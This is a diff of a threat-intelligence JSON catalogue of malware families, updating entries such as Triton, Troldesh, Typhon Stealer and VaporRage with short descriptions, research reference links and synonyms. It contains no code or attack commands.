"https://github.com/ICSrepo/TRISIS-TRITON-HATMAN", - "https://www.midnightbluelabs.com/blog/2018/1/16/analyzing-the-triton-industrial-malware", - "https://www.ironnet.com/blog/russian-cyber-attack-campaigns-and-actors", "https://ics-cert.us-cert.gov/sites/default/files/documents/MAR-17-352-01%20HatMan%E2%80%94Safety%20System%20Targeted%20Malware_S508C.pdf", - "https://www.domaintools.com/resources/blog/visibility-monitoring-and-critical-infrastructure-security" + "https://www.eenews.net/stories/1060123327/", + "https://dragos.com/blog/trisis/TRISIS-01.pdf", + "https://www.cisa.gov/uscert/ncas/alerts/aa22-110a", + "https://www.domaintools.com/resources/blog/visibility-monitoring-and-critical-infrastructure-security", + "https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html", + "https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1538425180.pdf", + "https://www.ironnet.com/blog/russian-cyber-attack-campaigns-and-actors", + "https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html", + "https://www.nozominetworks.com//downloads/US/Nozomi-Networks-TRITON-The-First-SIS-Cyberattack.pdf", + "https://www.mandiant.com/resources/mandiant-red-team-emulates-fin11-tactics", + "https://www.ic3.gov/Media/News/2022/220325.pdf", + "https://www.midnightbluelabs.com/blog/2018/1/16/analyzing-the-triton-industrial-malware", + "https://github.com/ICSrepo/TRISIS-TRITON-HATMAN", + "https://home.treasury.gov/news/press-releases/sm1162", + "https://securelist.com/apt-trends-report-q2-2019/91897/", + "https://us-cert.cisa.gov/sites/default/files/documents/MAR-17-352-01%20HatMan%20-%20Safety%20System%20Targeted%20Malware%20%28Update%20A%29_S508C.PDF", + "https://www.cisa.gov/uscert/ncas/alerts/aa22-083a", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf" ], "synonyms": [ "HatMan", @@ -45567,20 +48027,20 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.trochilus_rat", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/webworm-espionage-rats", "https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/operation-drbcontrol-uncovering-a-cyberespionage-campaign-targeting-gambling-companies-in-southeast-asia", - "https://www.botconf.eu/wp-content/uploads/2022/05/Botconf2022-40-LunghiHorejsi.pdf", - "https://blogs.jpcert.or.jp/en/2017/04/redleaves---malware-based-on-open-source-rat.html", - "https://github.com/m0n0ph1/malware-1/tree/master/Trochilus", + "https://github.com/5loyd/trochilus/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/webworm-espionage-rats", "https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pivoter_tel_bernard_ou_comment_monitorer_des_attaq/SSTIC2020-Slides-pivoter_tel_bernard_ou_comment_monitorer_des_attaquants_ngligents-lunghi.pdf", - "https://www.secureworks.com/research/bronze-vinewood-targets-supply-chains", - "https://www.secureworks.com/research/threat-profiles/bronze-vinewood", - "https://app.box.com/s/z1uanuv1vn3vw5iket1r6bqrmlra0gpn", - "https://raw.githubusercontent.com/yt0ng/cracking_softcell/main/Cracking_SOFTCLL_TLP_WHITE.pdf", - "https://go.recordedfuture.com/hubfs/reports/cta-2019-0206.pdf", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-asia-governments", + "https://www.botconf.eu/wp-content/uploads/2022/05/Botconf2022-40-LunghiHorejsi.pdf", + "https://www.secureworks.com/research/threat-profiles/bronze-vinewood", + "https://raw.githubusercontent.com/yt0ng/cracking_softcell/main/Cracking_SOFTCLL_TLP_WHITE.pdf", + "https://www.secureworks.com/research/bronze-vinewood-targets-supply-chains", "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf", - "https://github.com/5loyd/trochilus/" + "https://github.com/m0n0ph1/malware-1/tree/master/Trochilus", + "https://app.box.com/s/z1uanuv1vn3vw5iket1r6bqrmlra0gpn", + "https://blogs.jpcert.or.jp/en/2017/04/redleaves---malware-based-on-open-source-rat.html", + "https://go.recordedfuture.com/hubfs/reports/cta-2019-0206.pdf" ], "synonyms": [], "type": [] @@ -45589,19 +48049,19 @@ "value": "Trochilus RAT" }, { - "description": "", + "description": "According to Malwarebyte, Ransomware is a type of malware that prevents users from accessing their system or personal files and demands ransom payment in order to regain access. Ransom.Troldesh is spread by malspam, typically in the form of attached .zip files. This ransomware sometimes uses a CMS on a compromised site to host downloads.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.troldesh", - "https://blog.checkpoint.com/2015/06/01/troldesh-new-ransomware-from-russia/", - "https://isc.sans.edu/forums/diary/More+Russian+language+malspam+pushing+Shade+Troldesh+ransomware/24668/", - "https://blogs.technet.microsoft.com/mmpc/2016/07/13/troldesh-ransomware-influenced-by-the-da-vinci-code/", - "https://labs.bitdefender.com/2020/05/shade-troldesh-ransomware-decryption-tool/", - "https://securelist.com/the-shade-encryptor-a-double-threat/72087/", - "https://unit42.paloaltonetworks.com/shade-ransomware-hits-high-tech-wholesale-education-sectors-in-u-s-japan-india-thailand-canada/", - "https://support.kaspersky.com/13059", "https://blog.avast.com/ransomware-strain-troldesh-spikes", "https://www.zdnet.com/article/shade-troldesh-ransomware-shuts-down-and-releases-all-decryption-keys/", + "https://support.kaspersky.com/13059", + "https://blogs.technet.microsoft.com/mmpc/2016/07/13/troldesh-ransomware-influenced-by-the-da-vinci-code/", + "https://labs.bitdefender.com/2020/05/shade-troldesh-ransomware-decryption-tool/", + "https://unit42.paloaltonetworks.com/shade-ransomware-hits-high-tech-wholesale-education-sectors-in-u-s-japan-india-thailand-canada/", + "https://blog.checkpoint.com/2015/06/01/troldesh-new-ransomware-from-russia/", + "https://isc.sans.edu/forums/diary/More+Russian+language+malspam+pushing+Shade+Troldesh+ransomware/24668/", + "https://securelist.com/the-shade-encryptor-a-double-threat/72087/", "https://github.com/shade-team/keys", "https://www.welivesecurity.com/2019/01/28/russia-hit-new-wave-ransomware-spam/" ], @@ -45681,8 +48141,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.turian", - "https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/", - "https://www.fortinet.com/blog/threat-research/analysis-of-follina-zero-day" + "https://unit42.paloaltonetworks.com/playful-taurus/", + "https://www.fortinet.com/blog/threat-research/analysis-of-follina-zero-day", + "https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/" ], "synonyms": [], "type": [] @@ -45709,9 +48170,12 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.turla_rpc", "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/", + "https://cocomelonc.github.io/tutorial/2022/05/02/malware-pers-3.html", + "https://cocomelonc.github.io/malware/2022/09/20/malware-pers-11.html", + "https://unit42.paloaltonetworks.com/ironnetinjector/", + "https://cocomelonc.github.io/tutorial/2022/06/12/malware-pers-7.html", "https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", - "https://unit42.paloaltonetworks.com/ironnetinjector/" + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf" ], "synonyms": [], "type": [] @@ -45724,10 +48188,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.turla_silentmoon", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://twitter.com/Arkbird_SOLG/status/1304187749373800455", "https://www.emanueledelucia.net/the-bigboss-rules-something-about-one-of-the-uroburos-rpc-based-backdoors/", + "https://cocomelonc.github.io/tutorial/2022/06/12/malware-pers-7.html", "https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity", - "https://twitter.com/Arkbird_SOLG/status/1304187749373800455" + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf" ], "synonyms": [ "BigBoss", @@ -45745,11 +48210,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.turnedup", - "https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/", - "https://www.cyberbit.com/new-early-bird-code-injection-technique-discovered/", "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/elfin-apt33-espionage", - "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html", - "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage" + "https://www.cyberbit.com/new-early-bird-code-injection-technique-discovered/", + "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage", + "https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/", + "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html" ], "synonyms": [ "Notestuk" @@ -45764,8 +48229,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.typehash", - "https://vblocalhost.com/uploads/VB2020-Lunghi-Horejsi.pdf", - "https://www.ptsecurity.com/upload/corporate/ww-en/pt-esc/winnti-2020-eng.pdf" + "https://www.ptsecurity.com/upload/corporate/ww-en/pt-esc/winnti-2020-eng.pdf", + "https://vblocalhost.com/uploads/VB2020-Lunghi-Horejsi.pdf" ], "synonyms": [ "SkinnyD" @@ -45775,6 +48240,21 @@ "uuid": "d7b0ccc8-051c-4ab1-908e-3bd1811d9e2e", "value": "TypeHash" }, + { + "description": "According to PCrisk, Typhon is a stealer-type malware written in the C# programming language. Newer versions of this program are called Typhon Reborn (TyphonReborn). Malware within this classification is designed to extract data from infected systems. The older variants of Typhon have a broader range of functionalities, while Typhon Reborn versions are streamlined stealers.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.typhon_stealer", + "https://blog.talosintelligence.com/typhon-reborn-v2-features-enhanced-anti-analysis/" + ], + "synonyms": [ + "Typhon Reborn V2" + ], + "type": [] + }, + "uuid": "fb5e364c-0f91-4b35-89cc-52eb4fc2a338", + "value": "Typhon Stealer" + }, { "description": "", "meta": { @@ -45839,8 +48319,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.udpos", - "https://www.forcepoint.com/blog/x-labs/udpos-exfiltrating-credit-card-data-dns", - "https://threatmatrix.cylance.com/en_us/home/threat-spotlight-inside-udpos-malware.html" + "https://threatmatrix.cylance.com/en_us/home/threat-spotlight-inside-udpos-malware.html", + "https://www.forcepoint.com/blog/x-labs/udpos-exfiltrating-credit-card-data-dns" ], "synonyms": [], "type": [] @@ -46213,19 +48693,6 @@ "uuid": "969d1054-b917-4fb8-b3f8-1e33926fdb65", "value": "Unidentified 061" }, - { - "description": "", - "meta": { - "refs": [ - "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_063", - "https://twitter.com/KevinPerlow/status/1160766519615381504" - ], - "synonyms": [], - "type": [] - }, - "uuid": "d34ac949-3816-436b-a719-b4ced192388e", - "value": "Unidentified 063 (Lazarus Keylogger)" - }, { "description": "This .net executable can receive commands from c2 sever, upload and download files according to the returned content, perform an uninstall, or modify the registry to achieve persistence across reboots. At the end, it downloads a Python-based RAT, called PeppyRAT.", "meta": { @@ -46349,8 +48816,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_076", "https://www.youtube.com/watch?v=8x-pGlWpIYI", - "https://www.zscaler.com/blogs/research/return-higaisa-apt", - "https://blog.bushidotoken.net/2020/06/deep-dive-darkhotel-apt.html" + "https://blog.bushidotoken.net/2020/06/deep-dive-darkhotel-apt.html", + "https://www.zscaler.com/blogs/research/return-higaisa-apt" ], "synonyms": [], "type": [] @@ -46467,9 +48934,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_089", - "https://kienmanowar.wordpress.com/2022/01/26/quicknote-analysis-of-malware-suspected-to-be-an-apt-attack-targeting-vietnam/" + "https://kienmanowar.wordpress.com/2022/01/26/quicknote-analysis-of-malware-suspected-to-be-an-apt-attack-targeting-vietnam/", + "https://research.checkpoint.com/2023/pandas-with-a-soul-chinese-espionage-attacks-against-southeast-asian-government-entities/" + ], + "synonyms": [ + "5.t Downloader" ], - "synonyms": [], "type": [] }, "uuid": "685c9c30-aa9f-43ee-a262-43c17c350049", @@ -46480,7 +48950,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_090", - "https://cybergeeks.tech/a-detailed-analysis-of-lazarus-malware-disguised-as-notepad-shell-extension/" + "https://cybergeeks.tech/a-detailed-analysis-of-lazarus-malware-disguised-as-notepad-shell-extension/", + "https://cocomelonc.github.io/tutorial/2021/09/06/simple-malware-av-evasion-2.html" ], "synonyms": [], "type": [] @@ -46540,6 +49011,130 @@ "uuid": "db8f94e9-768d-4ad1-befb-55b4b820174f", "value": "Unidentified 094" }, + { + "description": "Wiper, using EldoS RawDisk for low level access to disks.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_095", + "https://www.cisa.gov/uscert/sites/default/files/publications/aa22-264a-iranian-cyber-actors-conduct-cyber-operations-against-the-government-of-albania.pdf", + "https://www.cisa.gov/uscert/ncas/alerts/aa22-264a" + ], + "synonyms": [], + "type": [] + }, + "uuid": "925f7a39-9674-4209-a31a-e09c27117328", + "value": "Unidentified 095 (Iranian Wiper)" + }, + { + "description": "Keylogger.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_096", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/witchetty-steganography-espionage" + ], + "synonyms": [], + "type": [] + }, + "uuid": "0c87cf0d-fa54-4962-817d-eac4c817b21a", + "value": "Unidentified 096 (Keylogger)" + }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_097", + "https://www.bleepingcomputer.com/news/security/hacking-group-polonium-uses-creepy-malware-against-israel/", + "https://www.welivesecurity.com/2022/10/11/polonium-targets-israel-creepy-malware/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "32fe5b04-1af6-4696-a329-604a9f637c85", + "value": "Unidentified 097 (Polonium Keylogger)" + }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_098", + "https://ti.qianxin.com/blog/articles/analysis-of-apt29%27s-attack-activities-against-italy/", + "https://www.freebuf.com/articles/paper/339618.html", + "https://cert-agid.gov.it/news/il-malware-envyscout-apt29-e-stato-veicolato-anche-in-italia/", + "https://r136a1.info/2022/07/19/a-look-into-apt29s-new-early-stage-google-drive-downloader/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "db87fd2d-08ff-431d-86b8-35e31c9fcc9b", + "value": "Unidentified 098 (APT29 Slack Downloader)" + }, + { + "description": "This malware uses DropBox for C2 and was spread via spear-phishing attack at government organizations. It is different from win.boombox, which is another APT29 attributed malware using DropBox (written in .NET).", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_099", + "https://www.incibe-cert.es/sites/default/files/contenidos/estudios/doc/incibe-cert_estudio_analisis_nobelium_2022_v1.pdf", + "https://github.com/Dump-GUY/Malware-analysis-and-Reverse-engineering/blob/main/APT29_C2-Client_Dropbox_Loader/APT29-DropboxLoader_analysis.md" + ], + "synonyms": [], + "type": [] + }, + "uuid": "541a0a05-5c7f-4646-a96b-a4d26d5fa89d", + "value": "Unidentified 099 (APT29 Dropbox Loader)" + }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_100", + "https://mp.weixin.qq.com/s/Hzq4_tWmunDpKfHTlZNM-A" + ], + "synonyms": [], + "type": [] + }, + "uuid": "0ee92ce5-e33d-4393-a466-6b5f6a1ca6a5", + "value": "Unidentified 100 (APT-Q-12)" + }, + { + "description": "Potential Lazarus sample.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_101", + "https://twitter.com/RedDrip7/status/1595365451495706624" + ], + "synonyms": [], + "type": [] + }, + "uuid": "cca4f240-ac69-437e-b02a-5483ebef5087", + "value": "Unidentified 101 (Lazarus?)" + }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_102", + "https://labs.k7computing.com/index.php/the-donot-apt/", + "https://blog.morphisec.com/apt-c-35-new-windows-framework-revealed" + ], + "synonyms": [], + "type": [] + }, + "uuid": "6d22d9e1-b38d-4a6f-a4bb-1121ced4adfc", + "value": "Unidentified 102 (Donot)" + }, + { + "description": "A malware that uses .NET to load unmanaged (shell)code which has some resemblance to BADHATCH, the IP found in the sample was referred to in coverage on WHITERABBIT ransomware attacks.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_103", + "https://otx.alienvault.com/pulse/61e7f74a936eea5d44026b8e" + ], + "synonyms": [], + "type": [] + }, + "uuid": "07106811-cd07-4d05-906d-c05208758b00", + "value": "Unidentified 103 (FIN8)" + }, { "description": "", "meta": { @@ -46559,8 +49154,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.upas", - "https://malware.dontneedcoffee.com/2012/08/inside-upas-kit1.0.1.1.html", - "https://research.checkpoint.com/deep-dive-upas-kit-vs-kronos/" + "https://research.checkpoint.com/deep-dive-upas-kit-vs-kronos/", + "https://malware.dontneedcoffee.com/2012/08/inside-upas-kit1.0.1.1.html" ], "synonyms": [ "Rombrast" @@ -46575,23 +49170,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.upatre", + "https://secrary.com/ReversingMalware/Upatre/", "https://marcoramilli.com/2020/06/24/is-upatre-downloader-coming-back/", "https://johannesbader.ch/2015/06/Win32-Upatre-BI-Part-1-Unpacking/", "https://researchcenter.paloaltonetworks.com/2018/07/unit42-upatre-continues-evolve-new-anti-analysis-techniques/", - "https://secrary.com/ReversingMalware/Upatre/" + "https://unit42.paloaltonetworks.com/ticked-off-upatre-malwares-simple-anti-analysis-trick-to-defeat-sandboxes/" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "99d9110d-85a4-4819-9f85-05e4b73aa5f3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "925390a6-f88d-46dc-96ae-4ebc9f0b50b0", "value": "Upatre" }, @@ -46612,20 +49199,20 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.urlzone", - "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta544-targets-geographies-italy-japan-range-malware", - "https://www.cybereason.com/blog/new-ursnif-variant-targets-japan-packed-with-new-features", - "https://www.proofpoint.com/us/threat-insight/post/urlzone-top-malware-japan-while-emotet-and-line-phishing-round-out-landscape-0", - "https://mp.weixin.qq.com/s/NRytT94ne5gKN31CSLq6GA", - "https://www.virusbulletin.com/virusbulletin/2012/09/urlzone-reloaded-new-evolution/", - "http://blog.inquest.net/blog/2019/03/09/Analyzing-Sophisticated-PowerShell-Targeting-Japan/", - "https://www.crowdstrike.com/blog/cutwail-spam-campaign-uses-steganography-to-distribute-urlzone/", - "https://www.johannesbader.ch/2015/01/the-dga-of-shiotob/", - "https://www.proofpoint.com/us/threat-insight/post/Vawtrak-UrlZone-Banking-Trojans-Target-Japan", "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_5_sajo-takeda-niwa_en.pdf", + "http://blog.inquest.net/blog/2019/03/09/Analyzing-Sophisticated-PowerShell-Targeting-Japan/", + "https://www.proofpoint.com/us/threat-insight/post/Vawtrak-UrlZone-Banking-Trojans-Target-Japan", "https://krebsonsecurity.com/2011/07/trojan-tricks-victims-into-transfering-funds/", - "https://www.fireeye.com/blog/threat-research/2016/01/urlzone_zones_inon.html", + "https://www.proofpoint.com/us/threat-insight/post/urlzone-top-malware-japan-while-emotet-and-line-phishing-round-out-landscape-0", + "https://www.virusbulletin.com/virusbulletin/2012/09/urlzone-reloaded-new-evolution/", + "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta544-targets-geographies-italy-japan-range-malware", + "https://www.johannesbader.ch/2015/01/the-dga-of-shiotob/", + "https://www.crowdstrike.com/blog/cutwail-spam-campaign-uses-steganography-to-distribute-urlzone/", + "https://www.proofpoint.com/us/threat-insight/post/holiday-lull-not-so-much", "https://www.gdatasoftware.com/blog/2013/12/23978-bebloh-a-well-known-banking-trojan-with-noteworthy-innovations", - "https://www.proofpoint.com/us/threat-insight/post/holiday-lull-not-so-much" + "https://mp.weixin.qq.com/s/NRytT94ne5gKN31CSLq6GA", + "https://www.fireeye.com/blog/threat-research/2016/01/urlzone_zones_inon.html", + "https://www.cybereason.com/blog/new-ursnif-variant-targets-japan-packed-with-new-features" ], "synonyms": [ "Bebloh", @@ -46641,21 +49228,23 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.uroburos", - "https://www.gdatasoftware.com/blog/2014/03/23966-uroburos-deeper-travel-into-kernel-protection-mitigation", - "https://www.gdatasoftware.com/blog/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence", - "https://www.gdatasoftware.com/blog/2014/11/23937-the-uroburos-case-new-sophisticated-rat-identified", - "https://www.gdatasoftware.com/blog/2014/02/23968-uroburos-highly-complex-espionage-software-with-russian-roots", - "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/november/turla-png-dropper-is-back/", - "https://www.carbonblack.com/2017/08/18/threat-analysis-carbon-black-threat-research-dissects-png-dropper/", - "https://www.crysys.hu/publications/files/tedi/ukatemicrysys_territorialdispute.pdf", "https://www.gdatasoftware.com/blog/2014/06/23953-analysis-of-uroburos-using-windbg", - "https://artemonsecurity.com/uroburos.pdf", + "https://artemonsecurity.com/snake_whitepaper.pdf", + "https://www.carbonblack.com/2017/08/18/threat-analysis-carbon-black-threat-research-dissects-png-dropper/", + "https://exatrack.com/public/Tricephalic_Hellkeeper.pdf", "https://www.secureworks.com/research/threat-profiles/iron-hunter", "https://www.circl.lu/pub/tr-25/", - "https://exatrack.com/public/Tricephalic_Hellkeeper.pdf", - "https://www.gdatasoftware.com/blog/2014/05/23958-uroburos-rootkit-belgian-foreign-ministry-stricken", + "https://www.crysys.hu/publications/files/tedi/ukatemicrysys_territorialdispute.pdf", + "https://exatrack.com/public/Uroburos_EN.pdf", "https://securelist.com/analysis/publications/65545/the-epic-turla-operation/", - "https://exatrack.com/public/Uroburos_EN.pdf" + "https://www.gdatasoftware.com/blog/2014/05/23958-uroburos-rootkit-belgian-foreign-ministry-stricken", + "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/november/turla-png-dropper-is-back/", + "https://www.gdatasoftware.com/blog/2014/11/23937-the-uroburos-case-new-sophisticated-rat-identified", + "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-129a", + "https://www.gdatasoftware.com/blog/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence", + "https://artemonsecurity.com/uroburos.pdf", + "https://www.gdatasoftware.com/blog/2014/03/23966-uroburos-deeper-travel-into-kernel-protection-mitigation", + "https://www.gdatasoftware.com/blog/2014/02/23968-uroburos-highly-complex-espionage-software-with-russian-roots" ], "synonyms": [ "Snake" @@ -46670,9 +49259,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.usbculprit", - "https://drive.google.com/file/d/11otA_VmL061KcFC5MhDYuNdIKHYbpyrd/view", "https://www.welivesecurity.com/wp-content/uploads/2021/12/eset_jumping_the_air_gap_wp.pdf", - "https://securelist.com/cycldek-bridging-the-air-gap/97157/" + "https://securelist.com/cycldek-bridging-the-air-gap/97157/", + "https://drive.google.com/file/d/11otA_VmL061KcFC5MhDYuNdIKHYbpyrd/view" ], "synonyms": [], "type": [] @@ -46685,9 +49274,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.usbferry", - "https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf", + "https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-troopers-back-usbferry-attack-targets-air-gapped-environments/", "https://www.welivesecurity.com/wp-content/uploads/2021/12/eset_jumping_the_air_gap_wp.pdf", - "https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-troopers-back-usbferry-attack-targets-air-gapped-environments/" + "https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf" ], "synonyms": [], "type": [] @@ -46700,8 +49289,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.vadokrist", - "https://www.welivesecurity.com/wp-content/uploads/2021/05/eset_threat_report_t12021.pdf", - "https://www.welivesecurity.com/2021/01/21/vadokrist-wolf-sheeps-clothing/" + "https://www.welivesecurity.com/2021/01/21/vadokrist-wolf-sheeps-clothing/", + "https://www.welivesecurity.com/wp-content/uploads/2021/05/eset_threat_report_t12021.pdf" ], "synonyms": [], "type": [] @@ -46727,9 +49316,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.valuevault", + "https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html", "https://intezer.com/blog-new-iranian-campaign-tailored-to-us-companies-uses-updated-toolset/", - "https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae", - "https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html" + "https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae" ], "synonyms": [], "type": [] @@ -46750,13 +49339,30 @@ "uuid": "5bb80b4a-d304-460a-bb07-417dea64f213", "value": "vanillarat" }, + { + "description": "According to Mandiant, VaporRage or BOOMMIC, is a shellcode downloader written in C that communicates over HTTPS. Shellcode Payloads are retrieved from a hardcoded C2 that uses an encoded host_id generated from the targets domain and account name. BOOMMIC XOR decodes the downloaded shellcode payload in memory and executes it.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.vapor_rage", + "https://www.incibe-cert.es/sites/default/files/contenidos/estudios/doc/incibe-cert_estudio_analisis_nobelium_2022_v1.pdf", + "https://www.mandiant.com/resources/blog/tracking-apt29-phishing-campaigns", + "https://mrtiepolo.medium.com/sophisticated-apt29-campaign-abuses-notion-api-to-target-the-european-commission-200188059f58" + ], + "synonyms": [ + "BOOMMIC" + ], + "type": [] + }, + "uuid": "5a76d7a1-486e-4f4e-9e23-e544ee9f2ef9", + "value": "VaporRage" + }, { "description": "In May 2019, ESET researchers observed a spike in ESET telemetry data regarding malware targeting France. After further investigations, they identified malware that distributes various types of spam. One of them is leading to a survey that redirects to a dodgy smartphone promotion while the other is a sextortion campaign. The spam targets the users of Orange S.A., a French ISP.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.varenyky", - "https://krebsonsecurity.com/2019/12/nuclear-bot-author-arrested-in-sextortion-case/", - "https://www.welivesecurity.com/2019/08/08/varenyky-spambot-campaigns-france/" + "https://www.welivesecurity.com/2019/08/08/varenyky-spambot-campaigns-france/", + "https://krebsonsecurity.com/2019/12/nuclear-bot-author-arrested-in-sextortion-case/" ], "synonyms": [], "type": [] @@ -46769,17 +49375,18 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.vawtrak", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", - "https://www.crowdstrike.com/blog/sin-ful-spiders-wizard-spider-and-lunar-spider-sharing-the-same-web/", - "https://threatpost.com/pos-attacks-net-crooks-20-million-stolen-bank-cards/117595/", "https://fidelissecurity.com/threatgeek/archive/me-and-mr-robot-tracking-actor-behind-man1-crypter/", + "https://medium.com/@Ilandu/vawtrak-malware-824818c1837", + "https://blog.fox-it.com/2018/08/09/bokbot-the-rebirth-of-a-banker/", + "https://securityintelligence.com/posts/from-ramnit-to-bumblebee-via-neverquest", + "https://threatpost.com/pos-attacks-net-crooks-20-million-stolen-bank-cards/117595/", + "http://thehackernews.com/2017/01/neverquest-fbi-hacker.html", + "https://www.crowdstrike.com/blog/sin-ful-spiders-wizard-spider-and-lunar-spider-sharing-the-same-web/", + "https://www.secureworks.com/research/dyre-banking-trojan", "https://www.blueliv.com/downloads/network-insights-into-vawtrak-v2.pdf", "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", - "http://thehackernews.com/2017/01/neverquest-fbi-hacker.html", - "https://securityintelligence.com/posts/from-ramnit-to-bumblebee-via-neverquest", - "https://www.secureworks.com/research/dyre-banking-trojan", "https://info.phishlabs.com/blog/the-unrelenting-evolution-of-vawtrak", - "https://blog.fox-it.com/2018/08/09/bokbot-the-rebirth-of-a-banker/" + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf" ], "synonyms": [ "Catch", @@ -46788,15 +49395,6 @@ ], "type": [] }, - "related": [ - { - "dest-uuid": "e95dd1ba-7485-4c02-bf2e-14beedbcf053", - "tags": 